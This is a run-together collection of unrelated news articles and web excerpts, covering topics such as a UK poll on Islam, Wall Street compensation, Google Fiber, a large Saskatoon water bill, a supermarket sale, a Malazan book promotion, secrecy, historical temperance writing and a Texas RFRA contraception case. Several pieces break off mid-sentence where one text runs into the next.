Due to a reporting error, the article originally misidentified Tim Kerr's role in the band Big Boys. He played guitar.More than half of Britons polled believe Islam is incompatible with British values, according to a study carried out on behalf of a Muslim community organization.
The polling firm ComRes asked 2,012 people over the age of 18 for their views. The study was carried out on behalf of the Ahmadiyya Muslim Community and was revealed at the ‘Caliphate in the 21st Century’ conference.
It found that one respondent in three thinks Islam promotes violence in Britain, while 72 percent feel the religion is viewed negatively in the UK.
Some 32 percent believe Islam promotes peace in Britain and 56 percent think the faith is incompatible with the country’s values.
The sect that commissioned the study is itself dedicated to its own version of a caliphate in the UK. Unlike extremist groups such as Islamic State (IS, formerly ISIS/ISIL), the Ahmadiyya Muslim Community’s version of a caliphate is dedicated to peace.
“The task of the Ahmadiyya Caliphate is to continue pursuing the peaceful objectives laid down by the Founder of the Ahmadiyya Community, which is essentially to worship God and serve humanity,” Farooq Aftab, the community’s spokesman, told the Express.
“And so, under the guidance of the Institution of Caliphate, the Ahmadiyya Muslim Community has continued this work for more than one hundred years,” he added.
Aftab said the community is very concerned about extremism and is fighting to deal with the issue “through a range of initiatives such as education, recreational and sports to break down barriers and give members the true teachings of Islam.”
“We have on a number of occasions said that in Mosques, Imams and leaders should use sermons to condemn ISIS. And make it clear that going to join them is totally wrong and against Islam,” he said.
Ahmadi Muslims are a maligned group in some quarters. In March, a Scottish-Ahmadi shopkeeper was stabbed to death in Glasgow in front of eyewitnesses.
The brutal attack on Asad Shah, a popular local figure, took place hours after he wrote a heartfelt Easter message of peace and tolerance to Christians.
“A full investigation is under way to establish the circumstances surrounding the death, which is being treated as religiously prejudiced,” Police Scotland said at the time.An average compensation of $289,644 sounds pretty good for the population not working within a mile of the New York Stock Exchange.
But according to New York State Comptroller Alan Hevesi in a new study, that is what the average salary is on Wall Street.
To be clear, that doesn't mean that all bankers make this much. It means that there is a large army of men and a few women who make much less -- and a few very, very wealthy individuals who make an astronomical sum of more.
First, this not the average salary -- it's the average compensation, which includes a bonus.
Most of the investment banks, asset managers and hedge funds structure their overall compensation on relatively low salaries and bonuses proportioned to the revenue generated by the employee.
For example, if you work on a team that helps one Fortune 500 company merge with another and that acquisition brings in $25 million in business for your firm, you can expect your bonus in January to include a small slice of that.
If you manage a portfolio of a billion dollars of someone else's money, you will likely share a percentage of the profit that you bring to that billion.
"It has been a good year for investment bankers. There have been a lot of mergers and acquisitions fueled by a rise in equity," said Andrew Barber, associate editor at Trader magazine.
Trader is a lifestyle magazine geared toward professional traders who Barber says likely bring home much more than the average from the recent study.
When Business Is Good, So Is Competition
According to the report, compensation on Wall Street increased almost 22 percent in 2004 and an additional 11.8 percent in 2005.
Barber says part of the reason for the increase is that when business is good, competition for top talent gets ferocious.
"Large Wall Street banks have been a magnet for top traders and top investment bankers," Barber said.
"Places like Morgan Stanley and Goldman Sachs have had to work hard to keep their best employees," he said.
Whether it is marquee investment banks competing against one another for the talent, or hedge funds and asset management firms recruiting the same leaders, executive recruiting firms like the Gerson Group are at times almost tracking indexes of market confidence.
Maureen Brille, managing director of the Gerson Group, helps place some high-priced and high-value talent throughout the investment banking world.
"It's not about the money most of the time, it is about succeeding and excelling for most [of] our clients," she said.
When the overall compensation can include guaranteed bonuses or equity in a firm that could be in the seven- or eight-figure range for managing director level executives, not too many people are thinking about the $300,000 base salary.
While difficult to comprehend for those outside the business, people working in the profession justify their earnings in several ways.
"I've worked 80-hour weeks every year since I've come out of college, and when you think about the fact that I personally generated $185 million in revenue last year for my firm, my bonus seems appropriate," said a vice president level investment banker at a top tier Wall Street firm who asked to remain anonymous.
A Manhattan hedge-fund manager who took home more than $2 million last year said that he had generated wealth for his clients, and that none of them had complained about what they had paid him.
"It isn't like I'm making the money when they're not. When we have good years, everyone gets paid," he said.
Good Times in Cycles
Times are not always this good. Barber remembers that there have been lean times even in recent memory.
"Being an investment banker in 2001 and 2002 was about as easy a path to riches as being a stock trader in 1931," he said, referencing The Great Depression.
Brille also emphasizes that this is as pure a performance industry as there ever has been created.
"You have to produce every year. You have to be originating, bringing in business. Maintain long-term knowledge of the transactions, and you have to keep closing deals," she said.
While Trader magazine may be filled with advertisements for $300,000 cars and $10 million yachts, the irony is that some of the people who can afford these toys rarely have the time to enjoy them.
"Most of the people have to work tremendously long hours and spend a tremendous portion of their adult lives to reach that level. Having the time to enjoy them is another matter," Barber said.Google's long-discussed plans to bring it's high speed internet to Portland and the surrounding area have been suspended, according to a report in The Wall Street Journal.
The paper says that it is part of a shift from fiber to wireless technology.
The Journal says that, as a result, the company suspended projects in Portland and San Jose, California.
Google Fiber had spent hundreds of millions laying high speed internet cables in cities around the country, looking to provide services dozens of times faster than the average found most places in the United States.
Locally, it means a halt to discussions that have been happening not only in Portland but in places like Lake Oswego.
"We're disappointed, because we've been working pretty closely with them and made some progress to the point where I thought we were close to an agreement," Lake Oswego City Manager Scott Lazenby told the Lake Oswego Review.
The paper says that the city had been negotiating with the company for more than a year to include Lake Oswego but never reached an agreement.Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
April 19, 2014, 12:40 AM GMT
Is heaven for real? And if so, which heaven? For some, heaven is the Christian kind of afterlife that was described by a 4-year-old boy in the book and movie titled "Heaven Is for Real." For others, it's Islamic rivers of wine and honey, or Buddhist enlightenment, or a Hindu gateway to the eternal.
For those of a purely scientific bent, intimations of heaven might be just the impulses generated by a fading brain, or a physiological defense mechanism triggered by trauma.
In the new book "Visions of Heaven," religion writer Lisa Miller surveys all of those heavens and their centuries-old historical roots. Reflecting on such visions is particularly apt this weekend, as Christians celebrate Easter and Jews celebrate Passover. But Miller says she's also intrigued in heavenly visions that are inspired by cyberspace rather than Scripture.
"There are people who believe in a fourth dimension, where heaven is just on the other side of some wall," Miller told NBC News. "An idea that I'm actually more interested in is that of the Internet as a place like heaven. People gather in worlds that suit them, that are like them, where they meet each other based on similar interests. There's a kind of infiniteness to the Internet that's similar to ideas of heaven, and a kind of democracy. The parallels have definitely been drawn there, and I think they're interesting."
Shifting visions
Miller noted that the classic vision of heaven, ranging from the Book of Revelation to "Heaven Is for Real," tends to endorse a traditional religious view. "You go to heaven, you look around and it proves that Jesus Christ is on the throne, and the angels are there. 'I saw it with my own eyes and it's true.'"
But recent studies have shown a gradual decline in religious commitment among Americans'
"Because Americans are increasingly so detached from religious traditions, what you get is a similar detachment in visions and images of heaven.... The images can be so much more anything they want," Miller said.
For these people, a personalized vision of heaven might take the form of a perfect afternoon on the beach, or a dinner party, or a concert — as reflected in such afterlife movies as "Defending Your Life" or "The Lovely Bones."
"What religious traditionalists would say is, 'That's fine, metaphors are always fine. But where's the idea of God in those images?'" she said. "That's a fair critique. Heaven has become increasingly not a place where God lives but much more of a place where we can have everything we want."
The Church of Facebook?
Is there a cybernetic heaven ahead? Some researchers have speculated that virtual personalities, like the one played by Johnny Depp in the movie "Transcendence," could provide a kind of immortality: Even after you die, the family you left behind could interact with your simulated self.
Miller thinks Facebook memorial pages might serve as models for that kind of online afterlife.
"Look, it was a very popular idea in the Middle Ages that the dead are with us... and we can invoke their spirits, we can refer to them, they live on in our lives," Miller said. "And when the Facebook page of somebody that you love is still up and live, that idea is almost literal. There they are. They're among us. We can talk to them, and we can talk to each other about them. We can post things that may be like prayers, on their Facebook page.
"The idea of the saints being among us is a very powerful Christian idea," she said. "And the Internet makes that possible in a really moving way for a lot of people."Marieke Knight is a firm believer in conserving water. She doesn't water her lawn. She doesn't leave her taps dripping. That's why when the Saskatoon resident's water bill was nearly $4,000 last month, she was in complete shock.
"I didn't believe I read it right. I checked over it and checked over it and thought surely there was a mistake," Knight said.
Knight's water bill typically costs her $280 a month. The huge spike has had her scrambling. When she contacted the city to get a clarification she was told the bill was no mistake.
It was based on her actual water consumption.
Leaky toilet may be to blame for million litres of wasted water
Knight said she did have a leaky toilet in the basement suite she rents out, but replaced it in September.
Marieke Knight's water bill for November 2017 shows her owning nearly $4,000 (Chanss Lagaden/CBC)
She calculated she would have had to drain out nearly a million litres of water to make up the huge bill, something she said is unlikely.
"The amount of water that the city said I've used is a million litres, just under a million litres. I did the math and it's about 250,000 milk jugs just dumped out," she said.
The massive bill came after Knight sent in her meter reading to the city after a year of not doing so.
She had been paying her bills monthly, but those were only estimates.
The nearly $4,000 bill was for the extra water the city claimed she used in the year.
Plumber surprised by huge spike
Shane Cyrenne, a plumber with Perfection Plumbing, said he's heard of leaky toilets causing spiking water bills, but still found Knight's massive bill to be suprising.
"That's definitely excessive," he said.
Cyrenne said for a toilet to waste that much water it would have to be going "full blast" with the flapper up.
Knight said her toilet was leaking for a maximum of a month and no flapper was up or broken.
According to Cyrenne, a normal leaky toilet will make a bill go up, but not by not that much.
"In a month, I would hard pressed to say that caused a $4,000 water bill,' he said.
Raising the alarm
Knight said she has now been checking her water meter diligently. She will never go a month without sending her reading into the city, she said.
"My concern is really for people who this does happen to; not just myself. They said it's a common problem and that's really why I want to get the word out," she said.
The city also recently decided to cut her bill in half. She said is grateful, but her bill is still nearly $2,000. That's nearly ten times what she regularly pays.
Despite her complaints, Knight said she is going pay the bill.
City says bill could be from watering lawn, leaky toilet
In a statement, the City of Saskatoon said it does not comment on specific cases. But it does say a discrepancy between what someone is being charged based on estimates and an actual reading can cause a huge spike.
"In the past we have seen large bills due to increased watering during a dry summer, or changes such as how many people are in the household, or failing appliances and fixtures – like a toilet – that leak," the statement said.
The city says the new automated system being installed in most homes will fix the problem in the future.Sonoma County’s G&G Supermarkets purchased by Safeway
G&G Supermarkets, a landmark family-owned Sonoma County grocery business for over a half century, has been purchased by Safeway stores, the two companies said Thursday.
Pleasanton-based Safeway has agreed to hire all 250 G&G employees from the company’s Santa Rosa and Petaluma stores at “the same compensation or better,” said G&G CEO Teejay Lowe.
The exact date for the change in business has yet to be announced, but the deal should be completed by the end of the year, Lowe said. Each store will be renamed Safeway.
G&G workers at both locations learned of the sale Thursday morning in meetings with Safeway and company officials.
Terms of the sale were not disclosed.
Safeway officials did not respond to questions about the impact of the purchase on their existing stores near the G&G properties, including the Safeway on Marlow Road in Santa Rosa and the store on South McDowell Boulevard in Petaluma.
“We are very excited about this opportunity and look forward to bringing these locations into the Northern California Safeway family,” Safeway said in a statement confirming the sale.
The two companies “are working together to ensure a smooth transition for store employees and customers,” Safeway said in the statement. “Each store will be closed for a short period of time once the transaction closes, which we anticipate will be sometime in December.”
A sale of the G&G markets had been rumored in recent months as empty space appeared on shelves and longtime patrons openly questioned checkers about a possible closure.
Lowe insisted “business has been strong” and suggested the sale’s timing was partly related to the age of the company’s four owners, all members of the Gong family, including his father, Robert Gong, and his three uncles. The four owners range from 65 to 83 years old.
“It’s a good time for them to retire,” Lowe said. “They’ve been serving Sonoma County for 53 years. It’s a good time for them to enjoy the holidays.”
Of the sale, he added, “It was a decision that the entire family supports.”
The agreement also will benefit current employees, Lowe maintained, not only by preserving their compensation but also by offering them new opportunities with a larger grocery company.
“This deal checked all boxes,” he said.
G&G was founded in 1963 by Robert Gong and his late father-in-law, Gee Kai Gong. The company operates a 96,000-square-foot supermarket on West College Avenue and a 55,000-square-foot store on Sonoma Mountain Parkway in east Petaluma.
Safeway is owned by Albertsons Companies Inc. of Boise, Idaho, one of the largest food and drug retailers in the United States.
In Sonoma County, G&G has been the epitome of a family-operated company. At one point, close to 25 relatives worked for G&G, Lowe said. Even today he works with six family members who are either siblings or cousins.
Marcus Benedetti, president/CEO of Petaluma-based Clover Stornetta Farms, said one distinction about G&G was that for years; the Gong family members would gather together for lunch each day at the Santa Rosa store. Another was that the store’s male workers for decades wore ties and one owner, upon meeting Benedetti, then a teenager, wanted to know why the young man wasn’t wearing one when delivering milk to the store.Welcome to the Tor.com eBook Club! September’s pick is Gardens of the Moon, the first book in the epic fantasy series Malazan Book of the Fallen. You have until September 7th to get your FREE ebook copy—but first, here are 14 reasons this classic is worth getting into!
So, it’s been a few years and you’re still waiting for The Winds of Winter, or maybe the next book in The Kingkiller Chronicle, to hit the shelves. While you wait (and wait, and…), how about a little “appetizer” in the form of a complete epic fantasy series that spans ten books, plus a handful of novellas, with two prequel trilogies (The Kharkanas Trilogy and Path to Ascendancy) currently in progress? OK, maybe not so “little.” Think that might tide you over?
The series is the Malazan Book of the Fallen, by Steven Erikson and Ian Cameron Esslemont—here are a few reasons why you should pick up book one,— Gardens of the Moon.
The series starts with Gardens of the Moon and ends with The Crippled God in 2011. Yes, I said “ends.”
It opens in the middle of the story. You know who else opened his epic in medias res? Homer. You know how long people have been retelling that story? See my point?
There are gods. See above.
It has undead. But not “oh no, some brooding sparkly guy bit me so now I can’t die” undead. No, they made themselves undead on purpose so they could keep fighting an endless war and ensure the utter extinction of their enemy, even if it took thousands of years. Way cooler.
A sweeping story that moves across years, continents, and both the mortal and immortal planes involving an empire that has conquered numerous peoples but is now struggling to hold itself together. Gardens focuses on the attempt by an elite Malazan army unit—the Bridgeburners—to take a single city.
Larger than life characters, including Anomander Rake—the thousands-year-old, shape-shifting, soul-sucking-sword-carrying leader of the non-human Tiste Andii whose home is a flying mountain.
Characters who are just the size of life. The best characters are not the god-like ones, but the mortals who have to muck around in the day to day without the benefit of immortality. Nobody does the common grunt like Erikson, save perhaps Glen Cook. And nobody has the common grunt tick off the gods quite so much either: “Don’t mess with mortals” is one of the taglines. No “Great Men” version of history here.
Grey is the new black. Good people do bad things. Bad people do good things. Sometimes what/who we thought was good turns out to be bad and vice versa. Or even vice vice versa.
A world in flux. Too many fantasies present a static world or a storyline whose goal is a return to the status quo—the return of the king, say. Here, the entire world of Malaz feels like it’s constantly on the cusp of transformation. The empire is tottering, past loyalties are being questioned, old gods are waking up, new gods/ascendants are entering the stage, alliances are broken and formed, enemies and allies exchange places, “extinct” races re-emerge, immortals die, strange new creatures are birthed. Nothing is set in stone, not even death.
Characters that are actually complex, not the faux complexity that pretends to opaqueness but is eventually, comfortingly explained. True complexity encompasses contradiction and confusion. Like real people, Erikson’s characters change their minds, their personalities, have murky motivations or motivations that remain stubbornly unclear or unrevealed. Most of us, if we were honest, would be hard-pressed to say we truly “know” anyone, or more than a tiny handful of people. Why then should we expect to “fully understand” characters?
A pervading sense of time. Events from days, months, years, centuries, and thousands of years ago have repercussions that ripple through the present action. Myths, stories, and histories are consequential, whether they turn out to be true or wholly false. Some of those thought long dead rise again. Others who stay dead haunt those who knew them for years. Civilizations, cultures, races, gods, religions, and of course, empires rise and fall leaving behind stories, shards of pottery, strange artifacts, flying mountains, rivers of ice. And Erikson examines what happens when that sense of time is weakened by near or total immortality or by the curse of forgetfulness.
The series deals with Big Ideas. The influence of story and myth. What it means to be human. The benefits of civilization and whether they outweigh the negatives. How we treat each other and the world around us. Enslavement in all its forms, literal and metaphorical. The impact of individual choice in an indifferent natural universe or within an indifferent or even inimical human one. The power of compassion and empathy. The horror of their absence. Environmentalism. Imperialism. Inequality. Means versus ends. Native culture. The power of religion (or belief in general). How to deal with the recognition that we live in a world where everything is |
New products under development, unique manufacturing techniques, or simply lists of customers are types of information protected by trade secret laws. The patent system encourages inventors to publish information in exchange for a limited time monopoly on its use, though patent applications are initially secret. Secret societies use secrecy as a way to attract members by creating a sense of importance.[citation needed]
Shell companies may be used to launder money from criminal activity, to finance terrorism, or to evade taxes. Registers of beneficial ownership aim at fighting corporate secrecy in that sense.[citation needed]
Other laws require organizations to keep certain information secret, such as medical records (HIPAA in the U.S.), or financial reports that are under preparation (to limit insider trading). Europe has particularly strict laws about database privacy.[citation needed]
In many countries, neoliberal reforms of government have included expanding the outsourcing of government tasks and functions to private businesses with the aim of improving efficiency and effectiveness in government administration. However, among the criticisms of these reforms is the claim that the pervasive use of "Commercial-in-confidence" (or secrecy) clauses in contracts between government and private providers further limits public accountability of governments and prevents proper public scrutiny of the performance and probity of the private companies. Concerns have been raised that 'commercial-in-confidence' is open to abuse because it can be deliberately used to hide corporate or government maladministration and even corruption.[citation needed]
Technology secrecy [ edit ]
Preservation of secrets is one of the goals of information security. Techniques used include physical security and cryptography. The latter depends on the secrecy of cryptographic keys. Many believe that security technology can be more effective if it itself is not kept secret.[citation needed]
Information hiding is a design principle in much software engineering. It is considered easier to verify software reliability if one can be sure that different parts of the program can only access (and therefore depend on) a known limited amount of information.[citation needed]
Military secrecy [ edit ]
A military secret is information about martial affairs that is purposely not made available to the general public and hence to any enemy, in order to gain an advantage or to not reveal a weakness, to avoid embarrassment, or to help in propaganda efforts. Most military secrets are tactical in nature, such as the strengths and weaknesses of weapon systems, tactics, training methods, plans, and the number and location of specific weapons. Some secrets involve information in broader areas, such as secure communications, cryptography, intelligence operations, and cooperation with third parties.[citation needed]
Views on secrecy [ edit ]
Excessive secrecy is often cited[2] as a source of much human conflict. One may have to lie in order to hold a secret, which might lead to psychological repercussions.[original research?] The alternative, declining to answer when asked something, may suggest the answer and may therefore not always be suitable for keeping a secret. Also, the other may insist that one answer the question.[improper synthesis?] Nearly 2500 years ago, Sophocles wrote, "Do nothing secretly; for Time sees and hears all things, and discloses all." And Gautama Siddhartha, the Buddha, once said "Three things cannot long stay hidden: the sun, the moon and the truth". The Bible addresses this: "Be sure your sin will find you out." Numbers 32:23[citation needed]
Gallery [ edit ]
See also [ edit ]During an evening of carousing and drinking at a Salisbury tavern, a soldier and his comrades were drinking to one another’s health. Then the soldier did the unthinkable: he drank to the health of the Devil. Boldly daring the Devil to appear, the soldier claimed that if the Devil did not, it was proof that neither the Devil, nor God, existed. The soldier’s drinking companions quickly fled the room out of fear, but they returned “after hearing a hideous noise, and smelling a stinking savour.” After returning to the room, the soldier had vanished, and all they found was a broken window, the iron bar within it bowed and covered in blood. The soldier was never heard from again.
This peculiar tale, told in 1682 by the Anglican minister Samuel Clarke, made up a part of his warning to all regarding the treacherous fates that awaited drunkards. The soldier made the fatal error of losing his wits and drinking to the health of the Devil, inviting the evil being into his world. This story, however, was only one of the terrifying possibilities outlined by Clarke. Illness, madness, bodily and spiritual destruction, and–ultimately–death comprised the tragic fates that awaited every drunkard.
Such critiques and warnings initially did little to sway daily drinking practices, but over time, the cries of those who stood in opposition to alcohol steadily grew louder. Murmurs in the mid-seventeenth century–shocked at the sudden increase of cheaply available spirituous liquors–increased to a roar of condemnation throughout the decades of the following century. By the turn of the nineteenth century, the damnations against alcohol had become a deafening clamor that came in the form of speeches, books, medical inquiries, and artwork. One aspect often featured in such anti-liquor declarations were the drunkards themselves–more specifically, the drunkard’s unsteady, untrustworthy body.
Spiritual and medical inquiries about the effect of alcohol on a person’s body remained a constant source of concern, long before nineteenth-century movements for temperance. Published inquiries often emphasized the personal manner in which alcohol, after entering the body, initiated a process of deterioration and a literal process of physical transformation.
In 1677, Edward Bury, a former minister of Great Bolas in Shropshire, and a contemporary of Clarke, wrote at length about the ways alcohol distorted the body. He posed to the reader, “Consider also how much this Beastly sin of Drunkenness doth debauch, defile, deform the Body of man.” Drinking, Bury claimed, transformed the body–a perfect work of creation–by turning “the Nose, the Eyes, the Cheeks… red and pimpled, the Face swoln like a Bladder, the Countenance disturbed, writhen, and deformed.” To Bury, the most comparable creature to the drunkard was the swine, as drunkards seemed to take great pleasure in wallowing in their own vomit, dung, and the dirt. Drunkards even came to resemble swine by crawling about, after losing control over their ability to walk; though, while beasts are serviceable in this manner, Bury remarked, “the Drunkard [is] good for nothing but to spend and consume.”
To Clarke, imbibing alcohol did not turn men into swine, as Bury claimed. Instead, he claimed that drinking resulted in a much more profound transformation:
The bewitching, besotting nature of Drunkenness: It doth not turn men into Beasts, as some think, for a Beast scorns it… But it turns them into Fools and Sots, dehominates them, turns them out of their own Essences for the time, and so disfigures them, that God saith, Non est hæe Imago mea, This is not my Image…
Drinking altered the physical appearance of the body in a way that no other vice seemed to do. According to Clarke, by soaking one’s body with liquors, the drunkard experienced a process of metamorphosis; the body grew malleable, so much so that it was like soft clay with which “Satan can mould [the drunkard] into any shape.” Consuming alcohol could warp the drunkard’s features to the extent that his own Creator would no longer recognize his distorted face.
Spiritual concerns dominated early denouncements of drinking, but new observations of alcohol’s transformative power emerged in the eighteenth century. If a drinker, saturated in pernicious liquors, opened their bodies to Satan’s devious touch, man did not turn into beast. Instead, the body seemed to wither and collapse on itself. With a pallid countenance and leathery skin, the drunkard’s decaying appearance became one popularly associated with death.
The sudden rise in the drinking of gin amongst the poor of London at the turn of the eighteenth century brought forth a number of such claims. The bodily destruction was described as a gradual process; the drunkard’s constitution slowly broke down, their eyes–“except when lighten’d by the Fire of the spirituous Draught”–remained heavy and dull. The drunkard’s face was pale, their demeanor listless. If the drunkard was a woman, “the Bloom of her Beauty is soon changed for red Pimples in her Face,” and her complexion turned dull and sallow. Once the woman lost her beauty, a victim to her drunkenness, all hopes for marriage vanished, leaving the woman with truly no hope for the future.
Thomas Wilson, the Bishop of Sodor and Man, who also spoke in opposition to the increased consumption of gin, pointed out the ways in which drinking seemed to emaciate the drunkard, essentially reducing the body to a skeleton.
Such a description harkened an image that was unmistakably associated with mankind’s inevitable mortality. Overconsumption did not turn drunkards into beasts, or unrecognizable in the eyes of God, as Bury and Clark suggested; instead, these besotted individuals came to resemble the appearance all held once in the grave. The drunkard’s deteriorated body became a symbol of death, an unquestionable threat to all. Wilson was not the only to comment on such stark appearances. An eighteenth-century poem by Charles Darby likewise captured the haunting imagery of a skeletal drunkard:
The Actors in this Scene were not of one
Age, Humour, Figure, or Condition.
See One with hollow Cheek, meagre, and lean,
By Sipping-Hectick, e’en consumed quite,
As he a Skeleton had been,
Enough to put Death’s self into a Fright
This imagery became a powerful tool for organized opponents to alcohol. Quite often, the notion of a drinker who wasted away unto the point of death became a mainstay of anti-alcohol literature. Physicians who wrote about drinking’s effects did not shy away from such warnings either. Benjamin Rush, the famous physician from Pennsylvania, told the story of a man who failed to find satisfaction in his drinking. Always seeking out stronger tipples, this man moved from a daily toddy, to grog, to raw Jamaican rum, mixed with a tablespoon of ground pepper, to (as Rush stated) “take off their coldness.” Rush succinctly concluded this tale, without much expression of sympathy, or even surprise, when he stated that the man died, “a martyr to his intemperance.”
While Rush’s efforts against the consumption of alcohol certainly stood at the forefront of the emerging temperance movement, he, as well as other physicians, did attempt to convey some understanding of how drinking affected the human body. Rush noted the frequency of upset stomachs and vomiting the morning after a person engaged in heavy drinking. He also commented on the development of tremors in a drunkard’s hands, which could only be eased with a dose of cordial liquor, as well as a paleness in the face, contrasted against small, red streaks that appeared across the drunkard’s cheeks.
In A Treatise, on the True Effects of Drinking Spirituous Liquors, Wine and Beer, on Body and Mind, published in 1794, the anonymous author discussed the physical alterations caused by drinking. Initially, the author claims that drinking brought on an early form of aging–preventing “the growth of youth,” and mutating the young body so that it prematurely reflected the decay of old age. Throughout the piece, however, the author makes a claim–one that echoed the arguments made by Edward Bury a century before: that drinking not only aged the drunkard’s body, but by corrupting judgment, it made the drinker more beast than man.
By the final decades of the eighteenth century, questions began to arise regarding the proper amount of alcohol one should drink, or if one should drink at all. Due to the traditional association of alcohol and medicine, many physicians, ministers, and other societal leaders did claim that alcohol was perfectly acceptable to drink in moderation. Rush himself made this claim, but he carefully noted that only certain alcoholic beverages were acceptable to drink in moderation. Many of the more popular spirits, he stated, were not acceptable to drink at all, and those who did risked an array of diseases and punishments (with almost all ending in certain death).
Even as certain kinds of alcohol fell under scrutiny, however, the long-held notion that drinking in moderation remained acceptable likewise came into question. The previously mentioned anonymous author was especially critical of what drinking in moderation actually meant, stating:
[F]or instance, many a one would think three glasses of gin daily taken, to be a very moderate quantity, and another by drinking them would in a short time be thrown into a violent fever; for this reason it is impossible to determine the quantity that is harmless and that which will hurt.
Certainly, three glasses of gin a day might fall under suspicion as to whether that qualifies as “drinking in moderation,” but this question did mark a shift in the view that introducing alcohol–of any amount–into the human body could potentially lead to decay and transform a moderate drinker into a deplorable drunkard.
By the nineteenth century, organized advocates for temperance gathered to end the habitual consumption of the “demon drink.” Temperance literature often emphasized the inevitable “road to ruin” awaiting each person who made the unfortunate decision to drink. Timothy Shay Arthur, in particular, helped convince the American public of the dangers of alcohol through his popular novel Ten Nights in a Bar-Room and What I Saw There, originally published in 1854. Set in a tavern called the “Sickle and Sheaf,” Arthur lays out the menace of alcohol in dramatic detail. Throughout the novel, descriptions of drunkards, again, emphasized the physical deterioration drinking caused, revealing the continued importance of the body in anti-alcohol literature. In particular, the town drunkard, Joe Morgan, stands out in Arthur’s narrative as an unwanted but familiar element of the tavern. Arthur noted the physical decay habitual drinking had on the man’s body:
A glance showed him to be one of a class seen in all bar-rooms; a poor, broken-down inebriate, with the inward power of resistance gone – conscious of having no man’s respect, and giving respect to none.
Again, after the passage of a year, and with the return of Arthur’s protagonist to the same bar, comments on Joe Morgan appear once more:
He was standing at the bar, with an emptied glass in his hand. A year had made no improvement in his appearance. On the contrary, his clothes were more worn and tattered; his countenance more sadly marred.
Depictions of a demoralized local drunkard were only one aspect of the physical decline drinking wrought. In another, non-fictional book published by Arthur, Grappling With the Monster, he lays out the ways alcohol “Curses the Body,” stating:
One would suppose, from the marred and scarred, and sometimes awfully disfigured forms and faces of men who have indulged in intoxicating drinks, which are to be seen everywhere and among all classes of society, that there would be no need of other testimony to show that alcohol is an enemy to the body. And yet, strange to say, men of good sense, clear judgment and quick perception in all moral questions and in the general affairs of life, are often so blind… as to affirm that this substance, alcohol… is not only harmless, when taken in moderation – each being his own judge as to what ‘moderation’ means – but actually useful and nutritious!
Scarred, disfigured features mark the faces of drunkards–how evident it is that alcohol is an invasive “enemy to the body.” Also, once more, the issue of moderation is brought into question; is such moderation even possible? As the temperance movement gained full strength during the era of Arthur’s publications, it was no longer an issue of debate. Alcohol cursed the body, deteriorated physical features, and reduced the drunkard into a “broken-down inebriate”-far from our contemporary notion of a functioning alcoholic.
And yet, those dramatic warnings created a counter response–a skeptical backlash that questioned the validity of such claims. Did drinking really result in bodily decay? Could a person imbibe alcohol without turning into a beastly, mindless drunkard or an unwanted societal burden? Was it possible that the drunkard did not transform but vacillating observations did? A cartoon from Puck magazine presented a different image of temperance, one that struck a balance “Between Two Evils.”
To the right, an Intemperate Teetotaler appears, snobbishly refusing to even gaze upon a repulsive glass of alcohol. To the left, an Intemperate Drunkard, who, in many ways, reflects the same physical deterioration as described by temperance writers like Arthur. In the middle, though, sits a man who represents True Temperance. He holds a mug of beer, but no bodily decay marks the Temperate Man’s features; he is well dressed and of amiable countenance. While anti-liquor advocates long promoted the physical decline incurred by drinking, this figure represents quite the opposite. T. S. Arthur scoffed at the idea that alcohol could provide any source of nutrition. Benjamin Rush claimed that drinking at all would create an insatiable appetite for stronger drinks, leading, inevitably, to incurable drunkenness and death. Samuel Clarke warned that alcohol would open the drinker to possible corruption from the Devil.Today, the Fifth Circuit Court of Appeals will hear arguments in East Texas Baptist v. Burwell, a case over whether religious non-profits can use the federal Religious Freedom Restoration Act or “RFRA” to block their employees’ access to contraception under the Affordable Care Act. As state legislatures across the country, including Texas, come under fire for expanding RFRA laws to allow individuals and businesses to use religion to justify discrimination, this case highlights the dangerous impact broadening religious exemptions could have on Texans’ access to reproductive health care.
Rebecca Robertson, Legal and Policy Director of the ACLU of Texas:
“We are dismayed by this reckless movement to transform RFRAs into weapons. The question in each of these recent RFRA debates is whether, in order to respect religious liberty, we must allow people of faith to impose their personal beliefs on those who may not share them. This contraception case, where the third parties at issue are women and their families, shows why the answer is clearly no. ”
Across the country, hospitals, insurance companies and pharmacies are discriminating against women by denying basic care—like birth control, emergency contraception and abortion—in the name of religion.
Kathy Miller, President of the Texas Freedom Network:
“Allowing employers to impose their religious beliefs on the people who work for them turns the concept of religious freedom upside down. This case offers a clear example of how so-called ‘religious freedom’ laws can be abused to limit the freedom of others to make decisions based on their own deeply held beliefs. While we should always protect religious liberty, we should not allow some to impose their religious beliefs on people who don’t share those beliefs.”
A diverse coalition of Texas organizations—including ACLU of Texas, NARAL Pro-Choice Texas, National Latina Institute of Reproductive Health, Planned Parenthood Texas Voted, Texas Freedom Network, Whole Woman’s Health and Texas Research Institute, Progress Texas' educational arm—warns that RFRA legislation could cause harm to countless Texans by denying them access to reproductive health care.
Yvonne Gutierrez, Executive Director of Planed Parenthood Texas Votes:
"Texas women are frequently at risk of losing access to birth control, routine well-woman exams, breast and cervical cancer screenings, and mammograms. This legal challenge is just another attempt to limit affordable health care and will hurt Texas women and families."
Federal RFRA and Federal Contraceptive Coverage Rule
As part of the Affordable Care Act, the federal government issued a rule that requires health plans to cover contraception without a co-pay. Non-profits with religious objections to covering contraceptives can opt out, at which point the government arranges for employees to receive contraception coverage at no cost to and without the involvement of the employer. Several non-profits are challenging the opt-out under RFRA, arguing that even opting out burdens their religious liberty. If these claims succeed, women could be denied coverage because of their employers’ religious views.
The contraceptive coverage rule furthers the government’s compelling interest in women’s equality and health.
Before the contraceptive coverage rule, women aged 19-44 spent 73% more on healthcare than their male counterparts.
The cost of contraception can cause women to have gaps in their use or to use less effective methods with lower upfront costs. No-cost contraception is likely to significantly decrease unintended pregnancy rates by making long-acting methods, which are more expensive, more accessible.
Texas RFRA and Reproductive Health Care
